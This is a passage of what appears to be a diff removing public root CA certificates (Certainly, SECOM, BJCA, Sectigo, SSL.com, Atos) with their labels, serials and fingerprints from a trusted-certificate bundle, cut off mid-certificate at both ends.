-Kx3upPvaJVQTA945xsMfTZDsjxtK0hzthZU4UHlG1sGQUDGpXJpuHfUzVounmdLy -yCwzk5Iwx06MZTMQZBf9JBeW0Y3COmor6xOLRPIh80oat3df1+2IpHLlOR+Vnb5n -wXARPbv0+Em34yaXOp/SX3z7wJl8OSngex2/DaeP0ik0biQVy96QXr8axGbqwua6 -OV+KmalBWQewLK8= ------END CERTIFICATE----- - -# Issuer: CN=Certainly Root E1 O=Certainly -# Subject: CN=Certainly Root E1 O=Certainly -# Label: "Certainly Root E1" -# Serial: 8168531406727139161245376702891150584 -# MD5 Fingerprint: 0a:9e:ca:cd:3e:52:50:c6:36:f3:4b:a3:ed:a7:53:e9 -# SHA1 Fingerprint: f9:e1:6d:dc:01:89:cf:d5:82:45:63:3e:c5:37:7d:c2:eb:93:6f:2b -# SHA256 Fingerprint: b4:58:5f:22:e4:ac:75:6a:4e:86:12:a1:36:1c:5d:9d:03:1a:93:fd:84:fe:bb:77:8f:a3:06:8b:0f:c4:2d:c2 ------BEGIN CERTIFICATE----- -MIIB9zCCAX2gAwIBAgIQBiUzsUcDMydc+Y2aub/M+DAKBggqhkjOPQQDAzA9MQsw -CQYDVQQGEwJVUzESMBAGA1UEChMJQ2VydGFpbmx5MRowGAYDVQQDExFDZXJ0YWlu -bHkgUm9vdCBFMTAeFw0yMTA0MDEwMDAwMDBaFw00NjA0MDEwMDAwMDBaMD0xCzAJ -BgNVBAYTAlVTMRIwEAYDVQQKEwlDZXJ0YWlubHkxGjAYBgNVBAMTEUNlcnRhaW5s -eSBSb290IEUxMHYwEAYHKoZIzj0CAQYFK4EEACIDYgAE3m/4fxzf7flHh4axpMCK -+IKXgOqPyEpeKn2IaKcBYhSRJHpcnqMXfYqGITQYUBsQ3tA3SybHGWCA6TS9YBk2 -QNYphwk8kXr2vBMj3VlOBF7PyAIcGFPBMdjaIOlEjeR2o0IwQDAOBgNVHQ8BAf8E -BAMCAQYwDwYDVR0TAQH/BAUwAwEB/zAdBgNVHQ4EFgQU8ygYy2R17ikq6+2uI1g4 -hevIIgcwCgYIKoZIzj0EAwMDaAAwZQIxALGOWiDDshliTd6wT99u0nCK8Z9+aozm -ut6Dacpps6kFtZaSF4fC0urQe87YQVt8rgIwRt7qy12a7DLCZRawTDBcMPPaTnOG -BtjOiQRINzf43TNRnXCve1XYAS59BWQOhriR ------END CERTIFICATE----- - -# Issuer: CN=Security Communication ECC RootCA1 O=SECOM Trust Systems CO.,LTD. -# Subject: CN=Security Communication ECC RootCA1 O=SECOM Trust Systems CO.,LTD. -# Label: "Security Communication ECC RootCA1" -# Serial: 15446673492073852651 -# MD5 Fingerprint: 7e:43:b0:92:68:ec:05:43:4c:98:ab:5d:35:2e:7e:86 -# SHA1 Fingerprint: b8:0e:26:a9:bf:d2:b2:3b:c0:ef:46:c9:ba:c7:bb:f6:1d:0d:41:41 -# SHA256 Fingerprint: e7:4f:bd:a5:5b:d5:64:c4:73:a3:6b:44:1a:a7:99:c8:a6:8e:07:74:40:e8:28:8b:9f:a1:e5:0e:4b:ba:ca:11 ------BEGIN CERTIFICATE----- -MIICODCCAb6gAwIBAgIJANZdm7N4gS7rMAoGCCqGSM49BAMDMGExCzAJBgNVBAYT -AkpQMSUwIwYDVQQKExxTRUNPTSBUcnVzdCBTeXN0ZW1zIENPLixMVEQuMSswKQYD -VQQDEyJTZWN1cml0eSBDb21tdW5pY2F0aW9uIEVDQyBSb290Q0ExMB4XDTE2MDYx -NjA1MTUyOFoXDTM4MDExODA1MTUyOFowYTELMAkGA1UEBhMCSlAxJTAjBgNVBAoT -HFNFQ09NIFRydXN0IFN5c3RlbXMgQ08uLExURC4xKzApBgNVBAMTIlNlY3VyaXR5 -IENvbW11bmljYXRpb24gRUNDIFJvb3RDQTEwdjAQBgcqhkjOPQIBBgUrgQQAIgNi -AASkpW9gAwPDvTH00xecK4R1rOX9PVdu12O/5gSJko6BnOPpR27KkBLIE+Cnnfdl -dB9sELLo5OnvbYUymUSxXv3MdhDYW72ixvnWQuRXdtyQwjWpS4g8EkdtXP9JTxpK -ULGjQjBAMB0GA1UdDgQWBBSGHOf+LaVKiwj+KBH6vqNm+GBZLzAOBgNVHQ8BAf8E -BAMCAQYwDwYDVR0TAQH/BAUwAwEB/zAKBggqhkjOPQQDAwNoADBlAjAVXUI9/Lbu -9zuxNuie9sRGKEkz0FhDKmMpzE2xtHqiuQ04pV1IKv3LsnNdo4gIxwwCMQDAqy0O -be0YottT6SXbVQjgUMzfRGEWgqtJsLKB7HOHeLRMsmIbEvoWTSVLY70eN9k= ------END CERTIFICATE----- - -# Issuer: CN=BJCA Global Root CA1 O=BEIJING CERTIFICATE AUTHORITY -# Subject: CN=BJCA Global Root CA1 O=BEIJING CERTIFICATE AUTHORITY -# Label: "BJCA Global Root CA1" -# Serial: 113562791157148395269083148143378328608 -# MD5 Fingerprint: 42:32:99:76:43:33:36:24:35:07:82:9b:28:f9:d0:90 -# SHA1 Fingerprint: d5:ec:8d:7b:4c:ba:79:f4:e7:e8:cb:9d:6b:ae:77:83:10:03:21:6a -# SHA256 Fingerprint: f3:89:6f:88:fe:7c:0a:88:27:66:a7:fa:6a:d2:74:9f:b5:7a:7f:3e:98:fb:76:9c:1f:a7:b0:9c:2c:44:d5:ae ------BEGIN CERTIFICATE----- -MIIFdDCCA1ygAwIBAgIQVW9l47TZkGobCdFsPsBsIDANBgkqhkiG9w0BAQsFADBU -MQswCQYDVQQGEwJDTjEmMCQGA1UECgwdQkVJSklORyBDRVJUSUZJQ0FURSBBVVRI -T1JJVFkxHTAbBgNVBAMMFEJKQ0EgR2xvYmFsIFJvb3QgQ0ExMB4XDTE5MTIxOTAz -MTYxN1oXDTQ0MTIxMjAzMTYxN1owVDELMAkGA1UEBhMCQ04xJjAkBgNVBAoMHUJF -SUpJTkcgQ0VSVElGSUNBVEUgQVVUSE9SSVRZMR0wGwYDVQQDDBRCSkNBIEdsb2Jh -bCBSb290IENBMTCCAiIwDQYJKoZIhvcNAQEBBQADggIPADCCAgoCggIBAPFmCL3Z -xRVhy4QEQaVpN3cdwbB7+sN3SJATcmTRuHyQNZ0YeYjjlwE8R4HyDqKYDZ4/N+AZ -spDyRhySsTphzvq3Rp4Dhtczbu33RYx2N95ulpH3134rhxfVizXuhJFyV9xgw8O5 -58dnJCNPYwpj9mZ9S1WnP3hkSWkSl+BMDdMJoDIwOvqfwPKcxRIqLhy1BDPapDgR -at7GGPZHOiJBhyL8xIkoVNiMpTAK+BcWyqw3/XmnkRd4OJmtWO2y3syJfQOcs4ll -5+M7sSKGjwZteAf9kRJ/sGsciQ35uMt0WwfCyPQ10WRjeulumijWML3mG90Vr4Tq -nMfK9Q7q8l0ph49pczm+LiRvRSGsxdRpJQaDrXpIhRMsDQa4bHlW/KNnMoH1V6XK -V0Jp6VwkYe/iMBhORJhVb3rCk9gZtt58R4oRTklH2yiUAguUSiz5EtBP6DF+bHq/ -pj+bOT0CFqMYs2esWz8sgytnOYFcuX6U1WTdno9uruh8W7TXakdI136z1C2OVnZO -z2nxbkRs1CTqjSShGL+9V/6pmTW12xB3uD1IutbB5/EjPtffhZ0nPNRAvQoMvfXn -jSXWgXSHRtQpdaJCbPdzied9v3pKH9MiyRVVz99vfFXQpIsHETdfg6YmV6YBW37+ -WGgHqel62bno/1Afq8K0wM7o6v0PvY1NuLxxAgMBAAGjQjBAMB0GA1UdDgQWBBTF -7+3M2I0hxkjk49cULqcWk+WYATAPBgNVHRMBAf8EBTADAQH/MA4GA1UdDwEB/wQE -AwIBBjANBgkqhkiG9w0BAQsFAAOCAgEAUoKsITQfI/Ki2Pm4rzc2IInRNwPWaZ+4 -YRC6ojGYWUfo0Q0lHhVBDOAqVdVXUsv45Mdpox1NcQJeXyFFYEhcCY5JEMEE3Kli -awLwQ8hOnThJdMkycFRtwUf8jrQ2ntScvd0g1lPJGKm1Vrl2i5VnZu69mP6u775u -+2D2/VnGKhs/I0qUJDAnyIm860Qkmss9vk/Ves6OF8tiwdneHg56/0OGNFK8YT88 -X7vZdrRTvJez/opMEi4r89fO4aL/3Xtw+zuhTaRjAv04l5U/BXCga99igUOLtFkN -SoxUnMW7gZ/NfaXvCyUeOiDbHPwfmGcCCtRzRBPbUYQaVQNW4AB+dAb/OMRyHdOo -P2gxXdMJxy6MW2Pg6Nwe0uxhHvLe5e/2mXZgLR6UcnHGCyoyx5JO1UbXHfmpGQrI -+pXObSOYqgs4rZpWDW+N8TEAiMEXnM0ZNjX+VVOg4DwzX5Ze4jLp3zO7Bkqp2IRz -znfSxqxx4VyjHQy7Ct9f4qNx2No3WqB4K/TUfet27fJhcKVlmtOJNBir+3I+17Q9 -eVzYH6Eze9mCUAyTF6ps3MKCuwJXNq+YJyo5UOGwifUll35HaBC07HPKs5fRJNz2 -YqAo07WjuGS3iGJCz51TzZm+ZGiPTx4SSPfSKcOYKMryMguTjClPPGAyzQWWYezy -r/6zcCwupvI= ------END CERTIFICATE----- - -# Issuer: CN=BJCA Global Root CA2 O=BEIJING CERTIFICATE AUTHORITY -# Subject: CN=BJCA Global Root CA2 O=BEIJING CERTIFICATE AUTHORITY -# Label: "BJCA Global Root CA2" -# Serial: 58605626836079930195615843123109055211 -# MD5 Fingerprint: 5e:0a:f6:47:5f:a6:14:e8:11:01:95:3f:4d:01:eb:3c -# SHA1 Fingerprint: f4:27:86:eb:6e:b8:6d:88:31:67:02:fb:ba:66:a4:53:00:aa:7a:a6 -# SHA256 Fingerprint: 57:4d:f6:93:1e:27:80:39:66:7b:72:0a:fd:c1:60:0f:c2:7e:b6:6d:d3:09:29:79:fb:73:85:64:87:21:28:82 ------BEGIN CERTIFICATE----- -MIICJTCCAaugAwIBAgIQLBcIfWQqwP6FGFkGz7RK6zAKBggqhkjOPQQDAzBUMQsw -CQYDVQQGEwJDTjEmMCQGA1UECgwdQkVJSklORyBDRVJUSUZJQ0FURSBBVVRIT1JJ -VFkxHTAbBgNVBAMMFEJKQ0EgR2xvYmFsIFJvb3QgQ0EyMB4XDTE5MTIxOTAzMTgy -MVoXDTQ0MTIxMjAzMTgyMVowVDELMAkGA1UEBhMCQ04xJjAkBgNVBAoMHUJFSUpJ -TkcgQ0VSVElGSUNBVEUgQVVUSE9SSVRZMR0wGwYDVQQDDBRCSkNBIEdsb2JhbCBS -b290IENBMjB2MBAGByqGSM49AgEGBSuBBAAiA2IABJ3LgJGNU2e1uVCxA/jlSR9B -IgmwUVJY1is0j8USRhTFiy8shP8sbqjV8QnjAyEUxEM9fMEsxEtqSs3ph+B99iK+ -+kpRuDCK/eHeGBIK9ke35xe/J4rUQUyWPGCWwf0VHKNCMEAwHQYDVR0OBBYEFNJK -sVF/BvDRgh9Obl+rg/xI1LCRMA8GA1UdEwEB/wQFMAMBAf8wDgYDVR0PAQH/BAQD -AgEGMAoGCCqGSM49BAMDA2gAMGUCMBq8W9f+qdJUDkpd0m2xQNz0Q9XSSpkZElaA -94M04TVOSG0ED1cxMDAtsaqdAzjbBgIxAMvMh1PLet8gUXOQwKhbYdDFUDn9hf7B -43j4ptZLvZuHjw/l1lOWqzzIQNph91Oj9w== ------END CERTIFICATE----- - -# Issuer: CN=Sectigo Public Server Authentication Root E46 O=Sectigo Limited -# Subject: CN=Sectigo Public Server Authentication Root E46 O=Sectigo Limited -# Label: "Sectigo Public Server Authentication Root E46" -# Serial: 88989738453351742415770396670917916916 -# MD5 Fingerprint: 28:23:f8:b2:98:5c:37:16:3b:3e:46:13:4e:b0:b3:01 -# SHA1 Fingerprint: ec:8a:39:6c:40:f0:2e:bc:42:75:d4:9f:ab:1c:1a:5b:67:be:d2:9a -# SHA256 Fingerprint: c9:0f:26:f0:fb:1b:40:18:b2:22:27:51:9b:5c:a2:b5:3e:2c:a5:b3:be:5c:f1:8e:fe:1b:ef:47:38:0c:53:83 ------BEGIN CERTIFICATE----- -MIICOjCCAcGgAwIBAgIQQvLM2htpN0RfFf51KBC49DAKBggqhkjOPQQDAzBfMQsw -CQYDVQQGEwJHQjEYMBYGA1UEChMPU2VjdGlnbyBMaW1pdGVkMTYwNAYDVQQDEy1T -ZWN0aWdvIFB1YmxpYyBTZXJ2ZXIgQXV0aGVudGljYXRpb24gUm9vdCBFNDYwHhcN -MjEwMzIyMDAwMDAwWhcNNDYwMzIxMjM1OTU5WjBfMQswCQYDVQQGEwJHQjEYMBYG -A1UEChMPU2VjdGlnbyBMaW1pdGVkMTYwNAYDVQQDEy1TZWN0aWdvIFB1YmxpYyBT -ZXJ2ZXIgQXV0aGVudGljYXRpb24gUm9vdCBFNDYwdjAQBgcqhkjOPQIBBgUrgQQA -IgNiAAR2+pmpbiDt+dd34wc7qNs9Xzjoq1WmVk/WSOrsfy2qw7LFeeyZYX8QeccC -WvkEN/U0NSt3zn8gj1KjAIns1aeibVvjS5KToID1AZTc8GgHHs3u/iVStSBDHBv+ -6xnOQ6OjQjBAMB0GA1UdDgQWBBTRItpMWfFLXyY4qp3W7usNw/upYTAOBgNVHQ8B -Af8EBAMCAYYwDwYDVR0TAQH/BAUwAwEB/zAKBggqhkjOPQQDAwNnADBkAjAn7qRa -qCG76UeXlImldCBteU/IvZNeWBj7LRoAasm4PdCkT0RHlAFWovgzJQxC36oCMB3q -4S6ILuH5px0CMk7yn2xVdOOurvulGu7t0vzCAxHrRVxgED1cf5kDW21USAGKcw== ------END CERTIFICATE----- - -# Issuer: CN=Sectigo Public Server Authentication Root R46 O=Sectigo Limited -# Subject: CN=Sectigo Public Server Authentication Root R46 O=Sectigo Limited -# Label: "Sectigo Public Server Authentication Root R46" -# Serial: 156256931880233212765902055439220583700 -# MD5 Fingerprint: 32:10:09:52:00:d5:7e:6c:43:df:15:c0:b1:16:93:e5 -# SHA1 Fingerprint: ad:98:f9:f3:e4:7d:75:3b:65:d4:82:b3:a4:52:17:bb:6e:f5:e4:38 -# SHA256 Fingerprint: 7b:b6:47:a6:2a:ee:ac:88:bf:25:7a:a5:22:d0:1f:fe:a3:95:e0:ab:45:c7:3f:93:f6:56:54:ec:38:f2:5a:06 ------BEGIN CERTIFICATE----- -MIIFijCCA3KgAwIBAgIQdY39i658BwD6qSWn4cetFDANBgkqhkiG9w0BAQwFADBf -MQswCQYDVQQGEwJHQjEYMBYGA1UEChMPU2VjdGlnbyBMaW1pdGVkMTYwNAYDVQQD -Ey1TZWN0aWdvIFB1YmxpYyBTZXJ2ZXIgQXV0aGVudGljYXRpb24gUm9vdCBSNDYw -HhcNMjEwMzIyMDAwMDAwWhcNNDYwMzIxMjM1OTU5WjBfMQswCQYDVQQGEwJHQjEY -MBYGA1UEChMPU2VjdGlnbyBMaW1pdGVkMTYwNAYDVQQDEy1TZWN0aWdvIFB1Ymxp -YyBTZXJ2ZXIgQXV0aGVudGljYXRpb24gUm9vdCBSNDYwggIiMA0GCSqGSIb3DQEB -AQUAA4ICDwAwggIKAoICAQCTvtU2UnXYASOgHEdCSe5jtrch/cSV1UgrJnwUUxDa -ef0rty2k1Cz66jLdScK5vQ9IPXtamFSvnl0xdE8H/FAh3aTPaE8bEmNtJZlMKpnz -SDBh+oF8HqcIStw+KxwfGExxqjWMrfhu6DtK2eWUAtaJhBOqbchPM8xQljeSM9xf -iOefVNlI8JhD1mb9nxc4Q8UBUQvX4yMPFF1bFOdLvt30yNoDN9HWOaEhUTCDsG3X -ME6WW5HwcCSrv0WBZEMNvSE6Lzzpng3LILVCJ8zab5vuZDCQOc2TZYEhMbUjUDM3 -IuM47fgxMMxF/mL50V0yeUKH32rMVhlATc6qu/m1dkmU8Sf4kaWD5QazYw6A3OAS -VYCmO2a0OYctyPDQ0RTp5A1NDvZdV3LFOxxHVp3i1fuBYYzMTYCQNFu31xR13NgE -SJ/AwSiItOkcyqex8Va3e0lMWeUgFaiEAin6OJRpmkkGj80feRQXEgyDet4fsZfu -+Zd4KKTIRJLpfSYFplhym3kT2BFfrsU4YjRosoYwjviQYZ4ybPUHNs2iTG7sijbt -8uaZFURww3y8nDnAtOFr94MlI1fZEoDlSfB1D++N6xybVCi0ITz8fAr/73trdf+L -HaAZBav6+CuBQug4urv7qv094PPK306Xlynt8xhW6aWWrL3DkJiy4Pmi1KZHQ3xt -zwIDAQABo0IwQDAdBgNVHQ4EFgQUVnNYZJX5khqwEioEYnmhQBWIIUkwDgYDVR0P -AQH/BAQDAgGGMA8GA1UdEwEB/wQFMAMBAf8wDQYJKoZIhvcNAQEMBQADggIBAC9c -mTz8Bl6MlC5w6tIyMY208FHVvArzZJ8HXtXBc2hkeqK5Duj5XYUtqDdFqij0lgVQ -YKlJfp/imTYpE0RHap1VIDzYm/EDMrraQKFz6oOht0SmDpkBm+S8f74TlH7Kph52 -gDY9hAaLMyZlbcp+nv4fjFg4exqDsQ+8FxG75gbMY/qB8oFM2gsQa6H61SilzwZA -Fv97fRheORKkU55+MkIQpiGRqRxOF3yEvJ+M0ejf5lG5Nkc/kLnHvALcWxxPDkjB -JYOcCj+esQMzEhonrPcibCTRAUH4WAP+JWgiH5paPHxsnnVI84HxZmduTILA7rpX -DhjvLpr3Etiga+kFpaHpaPi8TD8SHkXoUsCjvxInebnMMTzD9joiFgOgyY9mpFui -TdaBJQbpdqQACj7LzTWb4OE4y2BThihCQRxEV+ioratF4yUQvNs+ZUH7G6aXD+u5 -dHn5HrwdVw1Hr8Mvn4dGp+smWg9WY7ViYG4A++MnESLn/pmPNPW56MORcr3Ywx65 -LvKRRFHQV80MNNVIIb/bE/FmJUNS0nAiNs2fxBx1IK1jcmMGDw4nztJqDby1ORrp -0XZ60Vzk50lJLVU3aPAaOpg+VBeHVOmmJ1CJeyAvP/+/oYtKR5j/K3tJPsMpRmAY -QqszKbrAKbkTidOIijlBO8n9pu0f9GBj39ItVQGL ------END CERTIFICATE----- - -# Issuer: CN=SSL.com TLS RSA Root CA 2022 O=SSL Corporation -# Subject: CN=SSL.com TLS RSA Root CA 2022 O=SSL Corporation -# Label: "SSL.com TLS RSA Root CA 2022" -# Serial: 148535279242832292258835760425842727825 -# MD5 Fingerprint: d8:4e:c6:59:30:d8:fe:a0:d6:7a:5a:2c:2c:69:78:da -# SHA1 Fingerprint: ec:2c:83:40:72:af:26:95:10:ff:0e:f2:03:ee:31:70:f6:78:9d:ca -# SHA256 Fingerprint: 8f:af:7d:2e:2c:b4:70:9b:b8:e0:b3:36:66:bf:75:a5:dd:45:b5:de:48:0f:8e:a8:d4:bf:e6:be:bc:17:f2:ed ------BEGIN CERTIFICATE----- -MIIFiTCCA3GgAwIBAgIQb77arXO9CEDii02+1PdbkTANBgkqhkiG9w0BAQsFADBO -MQswCQYDVQQGEwJVUzEYMBYGA1UECgwPU1NMIENvcnBvcmF0aW9uMSUwIwYDVQQD -DBxTU0wuY29tIFRMUyBSU0EgUm9vdCBDQSAyMDIyMB4XDTIyMDgyNTE2MzQyMloX -DTQ2MDgxOTE2MzQyMVowTjELMAkGA1UEBhMCVVMxGDAWBgNVBAoMD1NTTCBDb3Jw -b3JhdGlvbjElMCMGA1UEAwwcU1NMLmNvbSBUTFMgUlNBIFJvb3QgQ0EgMjAyMjCC -AiIwDQYJKoZIhvcNAQEBBQADggIPADCCAgoCggIBANCkCXJPQIgSYT41I57u9nTP -L3tYPc48DRAokC+X94xI2KDYJbFMsBFMF3NQ0CJKY7uB0ylu1bUJPiYYf7ISf5OY -t6/wNr/y7hienDtSxUcZXXTzZGbVXcdotL8bHAajvI9AI7YexoS9UcQbOcGV0ins -S657Lb85/bRi3pZ7QcacoOAGcvvwB5cJOYF0r/c0WRFXCsJbwST0MXMwgsadugL3 -PnxEX4MN8/HdIGkWCVDi1FW24IBydm5MR7d1VVm0U3TZlMZBrViKMWYPHqIbKUBO -L9975hYsLfy/7PO0+r4Y9ptJ1O4Fbtk085zx7AGL0SDGD6C1vBdOSHtRwvzpXGk3 -R2azaPgVKPC506QVzFpPulJwoxJF3ca6TvvC0PeoUidtbnm1jPx7jMEWTO6Af77w -dr5BUxIzrlo4QqvXDz5BjXYHMtWrifZOZ9mxQnUjbvPNQrL8VfVThxc7wDNY8VLS -+YCk8OjwO4s4zKTGkH8PnP2L0aPP2oOnaclQNtVcBdIKQXTbYxE3waWglksejBYS -d66UNHsef8JmAOSqg+qKkK3ONkRN0VHpvB/zagX9wHQfJRlAUW7qglFA35u5CCoG -AtUjHBPW6dvbxrB6y3snm/vg1UYk7RBLY0ulBY+6uB0rpvqR4pJSvezrZ5dtmi2f -gTIFZzL7SAg/2SW4BCUvAgMBAAGjYzBhMA8GA1UdEwEB/wQFMAMBAf8wHwYDVR0j -BBgwFoAU+y437uOEeicuzRk1sTN8/9REQrkwHQYDVR0OBBYEFPsuN+7jhHonLs0Z -NbEzfP/UREK5MA4GA1UdDwEB/wQEAwIBhjANBgkqhkiG9w0BAQsFAAOCAgEAjYlt -hEUY8U+zoO9opMAdrDC8Z2awms22qyIZZtM7QbUQnRC6cm4pJCAcAZli05bg4vsM -QtfhWsSWTVTNj8pDU/0quOr4ZcoBwq1gaAafORpR2eCNJvkLTqVTJXojpBzOCBvf -R4iyrT7gJ4eLSYwfqUdYe5byiB0YrrPRpgqU+tvT5TgKa3kSM/tKWTcWQA673vWJ -DPFs0/dRa1419dvAJuoSc06pkZCmF8NsLzjUo3KUQyxi4U5cMj29TH0ZR6LDSeeW -P4+a0zvkEdiLA9z2tmBVGKaBUfPhqBVq6+AL8BQx1rmMRTqoENjwuSfr98t67wVy -lrXEj5ZzxOhWc5y8aVFjvO9nHEMaX3cZHxj4HCUp+UmZKbaSPaKDN7EgkaibMOlq -bLQjk2UEqxHzDh1TJElTHaE/nUiSEeJ9DU/1172iWD54nR4fK/4huxoTtrEoZP2w -AgDHbICivRZQIA9ygV/MlP+7mea6kMvq+cYMwq7FGc4zoWtcu358NFcXrfA/rs3q -r5nsLFR+jM4uElZI7xc7P0peYNLcdDa8pUNjyw9bowJWCZ4kLOGGgYz+qxcs+sji -Mho6/4UIyYOf8kpIEFR3N+2ivEC+5BB09+Rbu7nzifmPQdjH5FCQNYA+HLhNkNPU -98OwoX6EyneSMSy4kLGCenROmxMmtNVQZlR4rmA= ------END CERTIFICATE----- - -# Issuer: CN=SSL.com TLS ECC Root CA 2022 O=SSL Corporation -# Subject: CN=SSL.com TLS ECC Root CA 2022 O=SSL Corporation -# Label: "SSL.com TLS ECC Root CA 2022" -# Serial: 26605119622390491762507526719404364228 -# MD5 Fingerprint: 99:d7:5c:f1:51:36:cc:e9:ce:d9:19:2e:77:71:56:c5 -# SHA1 Fingerprint: 9f:5f:d9:1a:54:6d:f5:0c:71:f0:ee:7a:bd:17:49:98:84:73:e2:39 -# SHA256 Fingerprint: c3:2f:fd:9f:46:f9:36:d1:6c:36:73:99:09:59:43:4b:9a:d6:0a:af:bb:9e:7c:f3:36:54:f1:44:cc:1b:a1:43 ------BEGIN CERTIFICATE----- -MIICOjCCAcCgAwIBAgIQFAP1q/s3ixdAW+JDsqXRxDAKBggqhkjOPQQDAzBOMQsw -CQYDVQQGEwJVUzEYMBYGA1UECgwPU1NMIENvcnBvcmF0aW9uMSUwIwYDVQQDDBxT -U0wuY29tIFRMUyBFQ0MgUm9vdCBDQSAyMDIyMB4XDTIyMDgyNTE2MzM0OFoXDTQ2 -MDgxOTE2MzM0N1owTjELMAkGA1UEBhMCVVMxGDAWBgNVBAoMD1NTTCBDb3Jwb3Jh -dGlvbjElMCMGA1UEAwwcU1NMLmNvbSBUTFMgRUNDIFJvb3QgQ0EgMjAyMjB2MBAG -ByqGSM49AgEGBSuBBAAiA2IABEUpNXP6wrgjzhR9qLFNoFs27iosU8NgCTWyJGYm -acCzldZdkkAZDsalE3D07xJRKF3nzL35PIXBz5SQySvOkkJYWWf9lCcQZIxPBLFN -SeR7T5v15wj4A4j3p8OSSxlUgaNjMGEwDwYDVR0TAQH/BAUwAwEB/zAfBgNVHSME -GDAWgBSJjy+j6CugFFR781a4Jl9nOAuc0DAdBgNVHQ4EFgQUiY8vo+groBRUe/NW -uCZfZzgLnNAwDgYDVR0PAQH/BAQDAgGGMAoGCCqGSM49BAMDA2gAMGUCMFXjIlbp -15IkWE8elDIPDAI2wv2sdDJO4fscgIijzPvX6yv/N33w7deedWo1dlJF4AIxAMeN -b0Igj762TVntd00pxCAgRWSGOlDGxK0tk/UYfXLtqc/ErFc2KAhl3zx5Zn6g6g== ------END CERTIFICATE----- - -# Issuer: CN=Atos TrustedRoot Root CA ECC TLS 2021 O=Atos -# Subject: CN=Atos TrustedRoot Root CA ECC TLS 2021 O=Atos -# Label: "Atos TrustedRoot Root CA ECC TLS 2021" -# Serial: 81873346711060652204712539181482831616 -# MD5 Fingerprint: 16:9f:ad:f1:70:ad:79:d6:ed:29:b4:d1:c5:79:70:a8 -# SHA1 Fingerprint: 9e:bc:75:10:42:b3:02:f3:81:f4:f7:30:62:d4:8f:c3:a7:51:b2:dd -# SHA256 Fingerprint: b2:fa:e5:3e:14:cc:d7:ab:92:12:06:47:01:ae:27:9c:1d:89:88:fa:cb:77:5f:a8:a0:08:91:4e:66:39:88:a8 ------BEGIN CERTIFICATE----- -MIICFTCCAZugAwIBAgIQPZg7pmY9kGP3fiZXOATvADAKBggqhkjOPQQDAzBMMS4w -LAYDVQQDDCVBdG9zIFRydXN0ZWRSb290IFJvb3QgQ0EgRUNDIFRMUyAyMDIxMQ0w -CwYDVQQKDARBdG9zMQswCQYDVQQGEwJERTAeFw0yMTA0MjIwOTI2MjNaFw00MTA0 -MTcwOTI2MjJaMEwxLjAsBgNVBAMMJUF0b3MgVHJ1c3RlZFJvb3QgUm9vdCBDQSBF -Q0MgVExTIDIwMjExDTALBgNVBAoMBEF0b3MxCzAJBgNVBAYTAkRFMHYwEAYHKoZI -zj0CAQYFK4EEACIDYgAEloZYKDcKZ9Cg3iQZGeHkBQcfl+3oZIK59sRxUM6KDP/X -tXa7oWyTbIOiaG6l2b4siJVBzV3dscqDY4PMwL502eCdpO5KTlbgmClBk1IQ1SQ4 -AjJn8ZQSb+/Xxd4u/RmAo0IwQDAPBgNVHRMBAf8EBTADAQH/MB0GA1UdDgQWBBR2 -KCXWfeBmmnoJsmo7jjPXNtNPojAOBgNVHQ8BAf8EBAMCAYYwCgYIKoZIzj0EAwMD -aAAwZQIwW5kp85wxtolrbNa9d+F851F+uDrNozZffPc8dz7kUK2o59JZDCaOMDtu -CCrCp1rIAjEAmeMM56PDr9NJLkaCI2ZdyQAUEv049OGYa3cpetskz2VAv9LcjBHo -9H1/IISpQuQo ------END CERTIFICATE----- - -# Issuer: CN=Atos TrustedRoot Root CA RSA TLS 2021 O=Atos -# Subject: CN=Atos TrustedRoot Root CA RSA TLS 2021 O=Atos -# Label: "Atos TrustedRoot Root CA RSA TLS 2021" -# Serial: 111436099570196163832749341232207667876 -# MD5 Fingerprint: d4:d3:46:b8:9a:c0:9c:76:5d:9e:3a:c3:b9:99:31:d2 -# SHA1 Fingerprint: 18:52:3b:0d:06:37:e4:d6:3a:df:23:e4:98:fb:5b:16:fb:86:74:48 -# SHA256 Fingerprint: 81:a9:08:8e:a5:9f:b3:64:c5:48:a6:f8:55:59:09:9b:6f:04:05:ef:bf:18:e5:32:4e:c9:f4:57:ba:00:11:2f ------BEGIN CERTIFICATE----- -MIIFZDCCA0ygAwIBAgIQU9XP5hmTC/srBRLYwiqipDANBgkqhkiG9w0BAQwFADBM -MS4wLAYDVQQDDCVBdG9zIFRydXN0ZWRSb290IFJvb3QgQ0EgUlNBIFRMUyAyMDIx -MQ0wCwYDVQQKDARBdG9zMQswCQYDVQQGEwJERTAeFw0yMTA0MjIwOTIxMTBaFw00 -MTA0MTcwOTIxMDlaMEwxLjAsBgNVBAMMJUF0b3MgVHJ1c3RlZFJvb3QgUm9vdCBD -QSBSU0EgVExTIDIwMjExDTALBgNVBAoMBEF0b3MxCzAJBgNVBAYTAkRFMIICIjAN -BgkqhkiG9w0BAQEFAAOCAg8AMIICCgKCAgEAtoAOxHm9BYx9sKOdTSJNy/BBl01Z -4NH+VoyX8te9j2y3I49f1cTYQcvyAh5x5en2XssIKl4w8i1mx4QbZFc4nXUtVsYv -Ye+W/CBGvevUez8/fEc4BKkbqlLfEzfTFRVOvV98r61jx3ncCHvVoOX3W3WsgFWZ -kmGbzSoXfduP9LVq6hdKZChmFSlsAvFr1bqjM9xaZ6cF4r9lthawEO3NUDPJcFDs -GY6wx/J0W2tExn2WuZgIWWbeKQGb9Cpt0xU6kGpn8bRrZtkh68rZYnxGEFzedUln -nkL5/nWpo63/dgpnQOPF943HhZpZnmKaau1Fh5hnstVKPNe0OwANwI8f4UDErmwh -3El+fsqyjW22v5MvoVw+j8rtgI5Y4dtXz4U2OLJxpAmMkokIiEjxQGMYsluMWuPD -0xeqqxmjLBvk1cbiZnrXghmmOxYsL3GHX0WelXOTwkKBIROW1527k2gV+p2kHYzy -geBYBr3JtuP2iV2J+axEoctr+hbxx1A9JNr3w+SH1VbxT5Aw+kUJWdo0zuATHAR8 -ANSbhqRAvNncTFd+rrcztl524WWLZt+NyteYr842mIycg5kDcPOvdO3GDjbnvezB -c6eUWsuSZIKmAMFwoW4sKeFYV+xafJlrJaSQOoD0IJ2azsct+bJLKZWD6TWNp0lI -pw9MGZHQ9b8Q4HECAwEAAaNCMEAwDwYDVR0TAQH/BAUwAwEB/zAdBgNVHQ4EFgQU -dEmZ0f+0emhFdcN+tNzMzjkz2ggwDgYDVR0PAQH/BAQDAgGGMA0GCSqGSIb3DQEB -DAUAA4ICAQAjQ1MkYlxt/T7Cz1UAbMVWiLkO3TriJQ2VSpfKgInuKs1l+NsW4AmS -4BjHeJi78+xCUvuppILXTdiK/ORO/auQxDh1MoSf/7OwKwIzNsAQkG8dnK/haZPs 